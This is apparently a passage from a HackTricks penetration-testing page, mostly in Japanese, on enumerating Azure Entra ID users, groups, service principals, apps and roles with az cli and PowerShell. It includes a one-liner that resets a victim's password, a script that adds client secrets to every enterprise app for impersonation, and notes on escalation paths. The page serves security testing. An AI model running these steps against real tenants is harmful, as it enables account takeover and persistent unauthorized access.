# Az - Entra ID (AzureAD) & Azure IAM

{{#include ../../../banners/hacktricks-training.md}}

## 基本情報

Azure Active Directory (Azure AD) は、Microsoft のクラウドベースのアイデンティティおよびアクセス管理サービスです。従業員が社内外のリソースにサインインしてアクセスすることを可能にし、Microsoft 365、Azure portal、その他多数の SaaS アプリケーションを含むリソースへのアクセスを扱います。Azure AD の設計は、特に **認証、認可、およびユーザー管理** を含む重要なアイデンティティサービスの提供に焦点を当てています。

Azure AD の主な機能には、**多要素認証** と **条件付きアクセス**、および他の Microsoft セキュリティサービスとのシームレスな統合が含まれます。これらの機能はユーザーのアイデンティティのセキュリティを大幅に高め、組織がアクセス方針を効果的に実装・適用することを可能にします。Microsoft のクラウドサービスのエコシステムにおける基本的なコンポーネントとして、Azure AD はユーザーアイデンティティのクラウドベース管理において極めて重要です。

## 列挙

### **接続**

{{#tabs }}
{{#tab name="az cli" }}
```bash
az login #This will open the browser (if not use --use-device-code)
az login -u <username> -p <password> #Specify user and password
az login --identity #Use the current machine managed identity (metadata)
az login --identity -u /subscriptions/<subscriptionId>/resourcegroups/myRG/providers/Microsoft.ManagedIdentity/userAssignedIdentities/myID #Login with user managed identity

# Login as service principal
## With password
az login --service-principal -u <application ID> -p VerySecret --tenant contoso.onmicrosoft.com # Tenant can also be the tenant UUID
## With cert
az login --service-principal -u <application ID> -p ~/mycertfile.pem --tenant contoso.onmicrosoft.com

# Request access token (ARM)
az account get-access-token
# Request access token for different resource. Supported tokens: aad-graph, arm, batch, data-lake, media, ms-graph, oss-rdbms
az account get-access-token --resource-type aad-graph

# If you want to configure some defaults
az configure

# Get user logged-in already
az ad signed-in-user show

# Help
az find "vm" # Find vm commands
az vm -h # Get subdomains
az ad user list --query-examples # Get examples
```
{{#endtab }}

{{#tab name="Mg" }}
```bash
# Login Open browser
Connect-MgGraph

# Login with service principal secret
## App ID and Tenant ID of your Azure AD App Registration
$appId = "<appId>"
$tenantId = "<tenantId>"
$clientSecret = "<clientSecret>"
## Convert the client secret to a SecureString
$secureSecret = ConvertTo-SecureString -String $clientSecret -AsPlainText -Force
## Create a PSCredential object
$credential = New-Object System.Management.Automation.PSCredential ($appId, $secureSecret)
## Connect using client credentials
Connect-MgGraph -TenantId $tenantId -ClientSecretCredential $credential

# Login with token
$token = (az account get-access-token --resource https://graph.microsoft.com --query accessToken -o tsv)
$secureToken = ConvertTo-SecureString $token -AsPlainText -Force
Connect-MgGraph -AccessToken $secureToken

# Get token from session
Parameters = @{
Method     = "GET"
Uri        = "/v1.0/me"
OutputType = "HttpResponseMessage"
}
$Response = Invoke-MgGraphRequest @Parameters
$Headers = $Response.RequestMessage.Headers
$Headers.Authorization.Parameter


# Find commands
Find-MgGraphCommand -command *Mg*
```
{{#endtab }}

{{#tab name="Az" }}
```bash
Connect-AzAccount #Open browser
# Using credentials
$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential("test@corp.onmicrosoft.com", $passwd)
Connect-AzAccount -Credential $creds

# Get Access Token
# Request access token to other endpoints: AadGraph, AnalysisServices, Arm, Attestation, Batch, DataLake, KeyVault, MSGraph, OperationalInsights, ResourceManager, Storage, Synapse
(ConvertFrom-SecureString (Get-AzAccessToken -ResourceTypeName Arm -AsSecureString).Token -AsPlainText)

# Connect with access token
Connect-AzAccount -AccountId test@corp.onmicrosoft.com [-AccessToken $ManagementToken] [-GraphAccessToken $AADGraphToken] [-MicrosoftGraphAccessToken $MicrosoftGraphToken] [-KeyVaultAccessToken $KeyVaultToken]
# If connecting with some metadata token, in "-AccountId" put the OID of the managed identity (get it from the JWT token)

# Connect with Service principal/enterprise app secret
$password = ConvertTo-SecureString 'KWEFNOIRFIPMWL.--DWPNVFI._EDWWEF_ADF~SODNFBWRBIF' -AsPlainText -Force
$creds = New-Object
System.Management.Automation.PSCredential('2923847f-fca2-a420-df10-a01928bec653', $password)
Connect-AzAccount -ServicePrincipal -Credential $creds -Tenant 29sd87e56-a192-a934-bca3-0398471ab4e7d

#All the Azure AD cmdlets have the format *-AzAD*
Get-Command *azad*
#Cmdlets for other Azure resources have the format *Az*
Get-Command *az*
```
{{#endtab }}

{{#tab name="Raw PS" }}
```bash
#Using management
$Token = 'eyJ0eXAi..'
# List subscriptions
$URI = 'https://management.azure.com/subscriptions?api-version=2020-01-01'
$RequestParams = @{
Method  = 'GET'
Uri     = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
}
(Invoke-RestMethod @RequestParams).value

# Using graph
Invoke-WebRequest -Uri "https://graph.windows.net/myorganization/users?api-version=1.6" -Headers @{Authorization="Bearer {0}" -f $Token}
```
{{#endtab }}

{{#tab name="curl" }}
```bash
# Request tokens to access endpoints
# ARM
curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com&api-version=2017-09-01" -H secret:$IDENTITY_HEADER

# Vault
curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net&api-version=2017-09-01" -H secret:$IDENTITY_HEADER
```
{{#endtab }}
{{#tab name="MS Graph" }}
```bash
Get-MgTenantRelationshipDelegatedAdminCustomer
# Install the Microsoft Graph PowerShell module if not already installed
Install-Module Microsoft.Graph -Scope CurrentUser

# Import the module
Import-Module Microsoft.Graph

# Login to Microsoft Graph
Connect-MgGraph -Scopes "User.Read.All", "Group.Read.All", "Directory.Read.All"

# Enumerate available commands in Microsoft Graph PowerShell
Get-Command -Module Microsoft.Graph*

# Example: List users
Get-MgUser -All

# Example: List groups
Get-MgGroup -All

# Example: Get roles assigned to a user
Get-MgUserAppRoleAssignment -UserId <UserId>

# Disconnect from Microsoft Graph
Disconnect-MgGraph
```
{{#endtab }}

{{#tab name="Azure AD" }}
```bash
Connect-AzureAD #Open browser
# Using credentials
$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential ("test@corp.onmicrosoft.com", $passwd)
Connect-AzureAD -Credential $creds

# Using tokens
## AzureAD cannot request tokens, but can use AADGraph and MSGraph tokens to connect
Connect-AzureAD -AccountId test@corp.onmicrosoft.com -AadAccessToken $token
```
{{#endtab }}
{{#endtabs }}

任意のプログラムで**CLI**経由で**Azure**に**login**すると、**Microsoft**に属する**tenant**の**Azure Application**を使用しています。これらのApplicationsは、あなたのアカウントで作成できるものと同様に**client idを持っています**。コンソールで確認できる**allowed applications lists**にすべて表示されるわけではありませんが、デフォルトでは許可されています。

たとえば、認証を行う**powershell script**は、client id **`1950a258-227b-4e31-a9cf-717495945fc2`** を持つアプリを使用します。たとえそのアプリがコンソールに表示されなくても、sysadminはそのアプリを**block**することができるため、ユーザーはそのAppを経由して接続するツールを使えなくなります。

しかし、Azureに接続を**will allow you to connect to Azure**する**other client-ids**を持つアプリケーションが他にもあります：
```bash
# The important part is the ClientId, which identifies the application to login inside Azure

$token = Invoke-Authorize -Credential $credential `
-ClientId '1dfb5f98-f363-4b0f-b63a-8d20ada1e62d' `
-Scope 'Files.Read.All openid profile Sites.Read.All User.Read email' `
-Redirect_Uri "https://graphtryit-staging.azurewebsites.net/" `
-Verbose -Debug `
-InformationAction Continue

$token = Invoke-Authorize -Credential $credential `
-ClientId '65611c08-af8c-46fc-ad20-1888eb1b70d9' `
-Scope 'openid profile Sites.Read.All User.Read email' `
-Redirect_Uri "chrome-extension://imjekgehfljppdblckcmjggcoboemlah" `
-Verbose -Debug `
-InformationAction Continue

$token = Invoke-Authorize -Credential $credential `
-ClientId 'd3ce4cf8-6810-442d-b42e-375e14710095' `
-Scope 'openid' `
-Redirect_Uri "https://graphexplorer.azurewebsites.net/" `
-Verbose -Debug `
-InformationAction Continue
```
### テナント

{{#tabs }}
{{#tab name="az cli" }}
```bash
# List tenants
az account tenant list
```
{{#endtab }}
{{#endtabs }}

### ユーザー

Entra ID ユーザーの詳細については、次を参照してください：

{{#ref}}
../az-basic-information/
{{#endref}}

{{#tabs }}
{{#tab name="az cli" }}
```bash
# Enumerate users
az ad user list --output table
az ad user list --query "[].userPrincipalName"
# Get info of 1 user
az ad user show --id "test@corp.onmicrosoft.com"
# Search "admin" users
az ad user list --query "[].displayName" | findstr /i "admin"
az ad user list --query "[?contains(displayName,'admin')].displayName"
# Search attributes containing the word "password"
az ad user list | findstr /i "password" | findstr /v "null,"
# All users from Entra ID
az ad user list --query "[].{osi:onPremisesSecurityIdentifier,upn:userPrincipalName}[?osi==null]"
az ad user list --query "[?onPremisesSecurityIdentifier==null].displayName"
# All users synced from on-prem
az ad user list --query "[].{osi:onPremisesSecurityIdentifier,upn:userPrincipalName}[?osi!=null]"
az ad user list --query "[?onPremisesSecurityIdentifier!=null].displayName"
# Get groups where the user is a member
az ad user get-member-groups --id <email>
# Get roles assigned to the user in Azure (NOT in Entra ID)
az role assignment list --include-inherited --include-groups --include-classic-administrators true --assignee <email>
# Get ALL roles assigned in Azure in the current subscription (NOT in Entra ID)
az role assignment list --include-inherited --include-groups --include-classic-administrators true --all

# Get EntraID roles assigned to a user
## Get Token
export TOKEN=$(az account get-access-token --resource https://graph.microsoft.com/ --query accessToken -o tsv)
## Get users
curl -X GET "https://graph.microsoft.com/v1.0/users" \
-H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" | jq
## Get EntraID roles assigned to an user
curl -X GET "https://graph.microsoft.com/beta/rolemanagement/directory/transitiveRoleAssignments?\$count=true&\$filter=principalId%20eq%20'86b10631-ff01-4e73-a031-29e505565caa'" \
-H "Authorization: Bearer $TOKEN" \
-H "ConsistencyLevel: eventual" \
-H "Content-Type: application/json" | jq
## Get role details
curl -X GET "https://graph.microsoft.com/beta/roleManagement/directory/roleDefinitions/cf1c38e5-3621-4004-a7cb-879624dced7c" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" | jq
```
{{#endtab }}

{{#tab name="MS Graph" }}
```bash
# Enumerate users using Microsoft Graph PowerShell
Get-MgUser -All

# Get user details
Get-MgUser -UserId "test@corp.onmicrosoft.com" | Format-List *

# Search "admin" users
Get-MgUser -All | Where-Object { $_.DisplayName -like "*test*" } | Select-Object DisplayName

# Search attributes containing the word "password"
Get-MgUser -All | Where-Object { $_.AdditionalProperties.PSObject.Properties.Name -contains "password" }

# All users from Entra ID
Get-MgUser -Filter "startswith(userPrincipalName, 't')" -All | Select-Object DisplayName, UserPrincipalName

# Get groups where the user is a member
Get-MgUserMemberOf -UserId <UserId>

# Get roles assigned to the user in Entra ID
Get-MgUserAppRoleAssignment -UserId <UserId>

# List available commands in Microsoft Graph PowerShell
Get-Command -Module Microsoft.Graph.Users
```
{{#endtab }}

{{#tab name="Azure AD" }}
```bash
# Enumerate Users
Get-AzureADUser -All $true
Get-AzureADUser -All $true | select UserPrincipalName
# Get info of 1 user
Get-AzureADUser -ObjectId test@corp.onmicrosoft.com | fl
# Search "admin" users
Get-AzureADUser -SearchString "admin" #Search admin at the begining of DisplayName or userPrincipalName
Get-AzureADUser -All $true |?{$_.Displayname -match "admin"} #Search "admin" word in DisplayName
# Get all attributes of a user
Get-AzureADUser -ObjectId test@defcorphq.onmicrosoft.com|%{$_.PSObject.Properties.Name}
# Search attributes containing the word "password"
Get-AzureADUser -All $true |%{$Properties = $_;$Properties.PSObject.Properties.Name | % {if ($Properties.$_ -match 'password') {"$($Properties.UserPrincipalName) - $_ - $($Properties.$_)"}}}
# All users from AzureAD# All users from AzureAD
Get-AzureADUser -All $true | ?{$_.OnPremisesSecurityIdentifier -eq $null}
# All users synced from on-prem
Get-AzureADUser -All $true | ?{$_.OnPremisesSecurityIdentifier -ne $null}
# Objects created by a/any user
Get-AzureADUser [-ObjectId <email>] | Get-AzureADUserCreatedObject
# Devices owned by a user
Get-AzureADUserOwnedDevice -ObjectId test@corp.onmicrosoft.com
# Objects owned by a specific user
Get-AzureADUserOwnedObject -ObjectId test@corp.onmicrosoft.com
# Get groups & roles where the user is a member
Get-AzureADUserMembership -ObjectId 'test@corp.onmicrosoft.com'
# Get devices owned by a user
Get-AzureADUserOwnedDevice -ObjectId test@corp.onmicrosoft.com
# Get devices registered by a user
Get-AzureADUserRegisteredDevice -ObjectId test@defcorphq.onmicrosoft.com
# Apps where a user has a role (role not shown)
Get-AzureADUser -ObjectId roygcain@defcorphq.onmicrosoft.com | Get-AzureADUserAppRoleAssignment | fl *
# Get Administrative Units of a user
$userObj = Get-AzureADUser -Filter "UserPrincipalName eq 'bill@example.com'"
Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember -Id $_.Id | where { $_.Id -eq $userObj.ObjectId } }
```
{{#endtab }}

{{#tab name="Az" }}
```bash
# Enumerate users
Get-AzADUser
# Get details of a user
Get-AzADUser -UserPrincipalName test@defcorphq.onmicrosoft.com
# Search user by string
Get-AzADUser -SearchString "admin" #Search at the beginnig of DisplayName
Get-AzADUser | ?{$_.Displayname -match "admin"}
# Get roles assigned to a user
Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com
```
{{#endtab }}
{{#endtabs }}

#### ユーザーのパスワードを変更
```bash
$password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText –Force

(Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "victim@corp.onmicrosoft.com"}).ObjectId | Set- AzureADUserPassword -Password $password –Verbose
```
### MFA と Conditional Access ポリシー

すべてのユーザーにMFAを追加することを強く推奨します。ただし、企業によってはMFAを未設定であったり、Conditional Access を使って設定している場合があります。ユーザーは特定の場所やブラウザ、または**ある条件**からログインした場合に**required MFA if**となります。これらのポリシーは正しく構成されていないと**bypasses**の対象となる可能性があります。確認してください：

{{#ref}}
../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
{{#endref}}

### Groups

Entra ID groups の詳細については次を参照してください：

{{#ref}}
../az-basic-information/
{{#endref}}

{{#tabs }}
{{#tab name="az cli" }}
```bash
# Enumerate groups
az ad group list
az ad group list --query "[].[displayName]" -o table
# Get info of 1 group
az ad group show --group <group>
# Get "admin" groups
az ad group list --query "[].displayName" | findstr /i "admin"
az ad group list --query "[?contains(displayName,'admin')].displayName"
# All groups from Entra ID
az ad group list --query "[].{osi:onPremisesSecurityIdentifier,displayName:displayName,description:description}[?osi==null]"
az ad group list --query "[?onPremisesSecurityIdentifier==null].displayName"
# All groups synced from on-prem
az ad group list --query "[].{osi:onPremisesSecurityIdentifier,displayName:displayName,description:description}[?osi!=null]"
az ad group list --query "[?onPremisesSecurityIdentifier!=null].displayName"
# Get members of group
az ad group member list --group <group> --query "[].userPrincipalName" -o table
# Check if member of group
az ad group member check --group "VM Admins" --member-id <id>
# Get which groups a group is member of
az ad group get-member-groups -g "VM Admins"
# Get roles assigned to the group in Azure (NOT in Entra ID)
az role assignment list --include-groups --include-classic-administrators true --assignee <group-id>

# To get Entra ID roles assigned check how it's done with users and use a group ID
```
{{#endtab }}

{{#tab name="Az" }}
```bash
# Get all groups
Get-AzADGroup
# Get details of a group
Get-AzADGroup -ObjectId <id>
# Search group by string
Get-AzADGroup -SearchString "admin" | fl * #Search at the beginnig of DisplayName
Get-AzADGroup |?{$_.Displayname -match "admin"}
# Get members of group
Get-AzADGroupMember -GroupDisplayName <resource_group_name>
# Get roles of group
Get-AzRoleAssignment -ResourceGroupName <resource_group_name>
```
{{#endtab }}
{{#tab name="MS Graph" }}
```bash
# Enumerate groups using Microsoft Graph PowerShell
Get-MgGroup -All

# Get group details
Get-MgGroup -GroupId <GroupId> | Format-List *

# Search "admin" groups
Get-MgGroup -All | Where-Object { $_.DisplayName -like "*admin*" } | Select-Object DisplayName

# Get members of a group
Get-MgGroupMember -GroupId <GroupId> -All

# Get groups a group is member of
Get-MgGroupMemberOf -GroupId <GroupId>

# Get roles assigned to the group in Entra ID
Get-MgGroupAppRoleAssignment -GroupId <GroupId>

# Get group owner
Get-MgGroupOwner -GroupId <GroupId>

# List available commands in Microsoft Graph PowerShell
Get-Command -Module Microsoft.Graph.Groups
```
{{#endtab }}
{{#tab name="Azure AD" }}
```bash
# Enumerate Groups
Get-AzureADGroup -All $true
# Get info of 1 group
Get-AzADGroup -DisplayName <resource_group_name> | fl
# Get "admin" groups
Get-AzureADGroup -SearchString "admin" | fl #Groups starting by "admin"
Get-AzureADGroup -All $true |?{$_.Displayname -match "admin"} #Groups with the word "admin"
# Get groups allowing dynamic membership
Get-AzureADMSGroup | ?{$_.GroupTypes -eq 'DynamicMembership'}
# All groups that are from Azure AD
Get-AzureADGroup -All $true | ?{$_.OnPremisesSecurityIdentifier -eq $null}
# All groups that are synced from on-prem (note that security groups are not synced)
Get-AzureADGroup -All $true | ?{$_.OnPremisesSecurityIdentifier -ne $null}
# Get members of a group
Get-AzureADGroupMember -ObjectId <group_id>
# Get roles of group
Get-AzureADMSGroup -SearchString "Contoso_Helpdesk_Administrators" #Get group id
Get-AzureADMSRoleAssignment -Filter "principalId eq '69584002-b4d1-4055-9c94-320542efd653'"
# Get Administrative Units of a group
$groupObj = Get-AzureADGroup -Filter "displayname eq 'TestGroup'"
Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember -Id $_.Id | where {$_.Id -eq $groupObj.ObjectId} }
# Get Apps where a group has a role (role not shown)
Get-AzureADGroup -ObjectId <id> | Get-AzureADGroupAppRoleAssignment | fl *
```
{{#endtab }}
{{#endtabs }}

#### グループにユーザーを追加

グループの所有者はグループに新しいユーザーを追加できます。
```bash
Add-AzureADGroupMember -ObjectId <group_id> -RefObjectId <user_id> -Verbose
```
> [!WARNING]
> グループは動的に設定でき、基本的に **ユーザーが特定の条件を満たすとそのユーザーがグループに追加される** ということを意味します。もちろん、条件が **属性** に基づいており、**ユーザー** がそれを **制御** できる場合、そのユーザーはこの機能を悪用して **他のグループに入る** 可能性があります。\
> 動的グループを悪用する方法は次のページを参照してください:

{{#ref}}
../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
{{#endref}}

### サービスプリンシパル

Entra ID のサービスプリンシパルに関する詳細は次を参照してください:

{{#ref}}
../az-basic-information/
{{#endref}}

{{#tabs }}
{{#tab name="az cli" }}
```bash
# Get Service Principals
az ad sp list --all
az ad sp list --all --query "[].[displayName,appId]" -o table
# Get details of one SP
az ad sp show --id 00000000-0000-0000-0000-000000000000
# Search SP by string
az ad sp list --all --query "[?contains(displayName,'app')].displayName"
# Get owner of service principal
az ad sp owner list --id <id> --query "[].[displayName]" -o table
# Get service principals owned by the current user
az ad sp list --show-mine

# Get SPs with generated secret or certificate
az ad sp list --query '[?length(keyCredentials) > `0` || length(passwordCredentials) > `0`].[displayName, appId, keyCredentials, passwordCredentials]' -o json
```
{{#endtab }}

{{#tab name="Az" }}
```bash
# Get SPs
Get-AzADServicePrincipal
# Get info of 1 SP
Get-AzADServicePrincipal -ObjectId <id>
# Search SP by string
Get-AzADServicePrincipal | ?{$_.DisplayName -match "app"}
# Get roles of a SP
Get-AzRoleAssignment -ServicePrincipalName <String>
```
{{#endtab }}

{{#tab name="Raw" }}
```bash
$Token = 'eyJ0eX..'
$URI = 'https://graph.microsoft.com/v1.0/applications'
$RequestParams = @{
Method  = 'GET'
Uri     = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
}
(Invoke-RestMethod @RequestParams).value
```
{{#endtab }}
{{#tab name="MS Graph" }}
```bash
# Get Service Principals using Microsoft Graph PowerShell
Get-MgServicePrincipal -All

# Get details of one Service Principal
Get-MgServicePrincipal -ServicePrincipalId <ServicePrincipalId> | Format-List *

# Search SP by display name
Get-MgServicePrincipal -All | Where-Object { $_.DisplayName -like "*app*" } | Select-Object DisplayName

# Get owner of Service Principal
Get-MgServicePrincipalOwner -ServicePrincipalId <ServicePrincipalId>

# Get objects owned by a Service Principal
Get-MgServicePrincipalOwnedObject -ServicePrincipalId <ServicePrincipalId>

# Get groups where the SP is a member
Get-MgServicePrincipalMemberOf -ServicePrincipalId <ServicePrincipalId>

# List available commands in Microsoft Graph PowerShell
Get-Command -Module Microsoft.Graph.ServicePrincipals
```
{{#endtab }}

{{#tab name="Azure AD" }}
```bash
# Get Service Principals
Get-AzureADServicePrincipal -All $true
# Get details about a SP
Get-AzureADServicePrincipal -ObjectId <id> | fl *
# Get SP by string name or Id
Get-AzureADServicePrincipal -All $true | ?{$_.DisplayName -match "app"} | fl
Get-AzureADServicePrincipal -All $true | ?{$_.AppId -match "103947652-1234-5834-103846517389"}
# Get owner of SP
Get-AzureADServicePrincipal -ObjectId <id> | Get-AzureADServicePrincipalOwner |fl *
# Get objects owned by a SP
Get-AzureADServicePrincipal -ObjectId <id> | Get-AzureADServicePrincipalOwnedObject
# Get objects created by a SP
Get-AzureADServicePrincipal -ObjectId <id> | Get-AzureADServicePrincipalCreatedObject
# Get groups where the SP is a member
Get-AzureADServicePrincipal | Get-AzureADServicePrincipalMembership
Get-AzureADServicePrincipal -ObjectId <id> | Get-AzureADServicePrincipalMembership |fl *
```
{{#endtab }}
{{#endtabs }}

> [!WARNING]
> Service Principal の Owner はそのパスワードを変更できます。

<details>

<summary>各 Enterprise App を一覧表示し、各 Enterprise App に client secret を追加できるか試す</summary>
```bash
# Just call Add-AzADAppSecret
Function Add-AzADAppSecret
{
<#
.SYNOPSIS
Add client secret to the applications.

.PARAMETER GraphToken
Pass the Graph API Token

.EXAMPLE
PS C:\> Add-AzADAppSecret -GraphToken 'eyJ0eX..'

.LINK
https://docs.microsoft.com/en-us/graph/api/application-list?view=graph-rest-1.0&tabs=http
https://docs.microsoft.com/en-us/graph/api/application-addpassword?view=graph-rest-1.0&tabs=http
#>

[CmdletBinding()]
param(
[Parameter(Mandatory=$True)]
[String]
$GraphToken = $null
)

$AppList = $null
$AppPassword = $null

# List All the Applications

$Params = @{
"URI"     = "https://graph.microsoft.com/v1.0/applications"
"Method"  = "GET"
"Headers" = @{
"Content-Type"  = "application/json"
"Authorization" = "Bearer $GraphToken"
}
}

try
{
$AppList = Invoke-RestMethod @Params -UseBasicParsing
}
catch
{
}

# Add Password in the Application

if($AppList -ne $null)
{
[System.Collections.ArrayList]$Details = @()

foreach($App in $AppList.value)
{
$ID = $App.ID
$psobj = New-Object PSObject

$Params = @{
"URI"     = "https://graph.microsoft.com/v1.0/applications/$ID/addPassword"
"Method"  = "POST"
"Headers" = @{
"Content-Type"  = "application/json"
"Authorization" = "Bearer $GraphToken"
}
}

$Body = @{
"passwordCredential"= @{
"displayName" = "Password"
}
}

try
{
$AppPassword = Invoke-RestMethod @Params -UseBasicParsing -Body ($Body | ConvertTo-Json)
Add-Member -InputObject $psobj -NotePropertyName "Object ID" -NotePropertyValue $ID
Add-Member -InputObject $psobj -NotePropertyName "App ID" -NotePropertyValue $App.appId
Add-Member -InputObject $psobj -NotePropertyName "App Name" -NotePropertyValue $App.displayName
Add-Member -InputObject $psobj -NotePropertyName "Key ID" -NotePropertyValue $AppPassword.keyId
Add-Member -InputObject $psobj -NotePropertyName "Secret" -NotePropertyValue $AppPassword.secretText
$Details.Add($psobj) | Out-Null
}
catch
{
Write-Output "Failed to add new client secret to '$($App.displayName)' Application."
}
}
if($Details -ne $null)
{
Write-Output ""
Write-Output "Client secret added to : "
Write-Output $Details | fl *
}
}
else
{
Write-Output "Failed to Enumerate the Applications."
}
}
```
</details>

### アプリケーション

アプリケーションの詳細については次を参照してください：

{{#ref}}
../az-basic-information/
{{#endref}}

App が生成されると、2種類の権限が付与されます：

- **Permissions** が **Service Principal** に付与される
- **Permissions** を **app** がユーザーに代わって保持・使用できる

{{#tabs }}
{{#tab name="az cli" }}
```bash
# List Apps
az ad app list
az ad app list --query "[].[displayName,appId]" -o table
# Get info of 1 App
az ad app show --id 00000000-0000-0000-0000-000000000000
# Search App by string
az ad app list --query "[?contains(displayName,'app')].displayName"
# Get the owner of an application
az ad app owner list --id <id> --query "[].[displayName]" -o table
# Get SPs owned by current user
az ad app list --show-mine
# Get apps with generated secret or certificate
az ad app list --query '[?length(keyCredentials) > `0` || length(passwordCredentials) > `0`].[displayName, appId, keyCredentials, passwordCredentials]' -o json
# Get Global Administrators (full access over apps)
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/1b2256f9-46c1-4fc2-a125-5b2f51bb43b7/members"
# Get Application Administrators (full access over apps)
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/1e92c3b7-2363-4826-93a6-7f7a5b53e7f9/members"
# Get Cloud Applications Administrators (full access over apps)
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/0d601d27-7b9c-476f-8134-8e7cd6744f02/members"

# Get "API Permissions" of an App
## Get the ResourceAppId
az ad app show --id "<app-id>" --query "requiredResourceAccess" --output json
## e.g.
[
{
"resourceAccess": [
{
"id": "e1fe6dd8-ba31-4d61-89e7-88639da4683d",
"type": "Scope"
},
{
"id": "d07a8cc0-3d51-4b77-b3b0-32704d1f69fa",
"type": "Role"
}
],
"resourceAppId": "00000003-0000-0000-c000-000000000000"
}
]

## For the perms of type "Scope"
az ad sp show --id <ResourceAppId> --query "oauth2PermissionScopes[?id=='<id>'].value" -o tsv
az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2PermissionScopes[?id=='e1fe6dd8-ba31-4d61-89e7-88639da4683d'].value" -o tsv

## For the perms of type "Role"
az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
```
{{#endtab }}

{{#tab name="Az" }}
```bash
# Get Apps
Get-AzADApplication
# Get details of one App
Get-AzADApplication -ObjectId <id>
# Get App searching by string
Get-AzADApplication | ?{$_.DisplayName -match "app"}
# Get Apps with password
Get-AzADAppCredential
```
{{#endtab }}

{{#tab name="MS Graph" }}
```bash
# List Applications using Microsoft Graph PowerShell
Get-MgApplication -All

# Get application details
Get-MgApplication -ApplicationId 7861f72f-ad49-4f8c-96a9-19e6950cffe1 | Format-List *

# Search App by display name
Get-MgApplication -Filter "startswith(displayName, 'app')" | Select-Object DisplayName

# Get owner of an application
Get-MgApplicationOwner -ApplicationId <ApplicationId>

# List available commands in Microsoft Graph PowerShell
Get-Command -Module Microsoft.Graph.Applications
```
{{#endtab }}

{{#tab name="Azure AD" }}
```bash
# List all registered applications
Get-AzureADApplication -All $true
# Get details of an application
Get-AzureADApplication -ObjectId <id>  | fl *
# List all the apps with an application password
Get-AzureADApplication -All $true | %{if(Get-AzureADApplicationPasswordCredential -ObjectID $_.ObjectID){$_}}
# Get owner of an application
Get-AzureADApplication -ObjectId <id> | Get-AzureADApplicationOwner |fl *
```
{{#endtab }}
{{#endtabs }}

> [!WARNING]
> 権限 **`AppRoleAssignment.ReadWrite`** を持つアプリは、自分自身にそのロールを付与することで **Global Admin に昇格** することができます。\
> 詳細は [**check this**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48) を参照してください。

> [!NOTE]
> アプリがトークンを要求する際に自分の識別を証明するために使用する秘密文字列はアプリケーションのパスワードです。\
> したがって、この **password** を見つければ **service principal** として **tenant** 内にアクセスできます。\
> このパスワードは生成時にのみ表示されます（変更は可能ですが再取得はできません）。\
> **owner** が **application** に **password を追加** することもでき（その結果なりすますことが可能）、\
> これらの service principal としてのログインは **リスクあり** とマークされず、**MFA** も適用されません。

It's possible to find a list of commonly used App IDs that belongs to Microsoft in [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications)

### Managed Identities

Managed Identities に関する詳細は次を参照してください:

{{#ref}}
../az-basic-information/
{{#endref}}

{{#tabs }}
{{#tab name="az cli" }}
```bash
# List all manged identities
az identity list --output table
# With the principal ID you can continue the enumeration in service principals
```
{{#endtab }}
{{#endtabs }}

### Azure のロール

Azure のロールの詳細については、次を参照してください：

{{#ref}}
../az-basic-information/
{{#endref}}

{{#tabs }}
{{#tab name="az cli" }}
```bash
# Get roles
az role definition list
# Get all assigned roles
az role assignment list --all --query "[].roleDefinitionName"
az role assignment list --all | jq '.[] | .roleDefinitionName,.scope'
# Get info of 1 role
az role definition list --name "AzureML Registry User"
# Get only custom roles
az role definition list --custom-role-only
# Get only roles assigned to the resource group indicated
az role definition list --resource-group <resource_group>
# Get only roles assigned to the indicated scope
az role definition list --scope <scope>
# Get all the principals a role is assigned to
az role assignment list --all --query "[].{principalName:principalName,principalType:principalType,scope:scope,roleDefinitionName:roleDefinitionName}[?roleDefinitionName=='<ROLE_NAME>']"
# Get all the roles assigned to a user
az role assignment list --assignee "<email>" --all --output table
# Get all the roles assigned to a user by filtering
az role assignment list --all --query "[?principalName=='admin@organizationadmin.onmicrosoft.com']" --output table
# Get deny assignments
az rest --method GET --uri "https://management.azure.com/{scope}/providers/Microsoft.Authorization/denyAssignments?api-version=2022-04-01"
## Example scope of subscription
az rest --method GET --uri "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/providers/Microsoft.Authorization/denyAssignments?api-version=2022-04-01"
```
{{#endtab }}

{{#tab name="MS Graph" }}
```bash

# List all available role templates using Microsoft Graph PowerShell
Get-MgDirectoryRoleTemplate -All

# List enabled built-in Entra ID roles
Get-MgDirectoryRole -All

# List all Entra ID roles with their permissions (including custom roles)
Get-MgDirectoryRoleDefinition -All

# List members of a Entra ID role
Get-MgDirectoryRoleMember -DirectoryRoleId <RoleId> -All

# List available commands in Microsoft Graph PowerShell
Get-Command -Module Microsoft.Graph.Identity.DirectoryManagement
```
{{#endtab }}

{{#tab name="Az" }}
```bash
# Get role assignments on the subscription
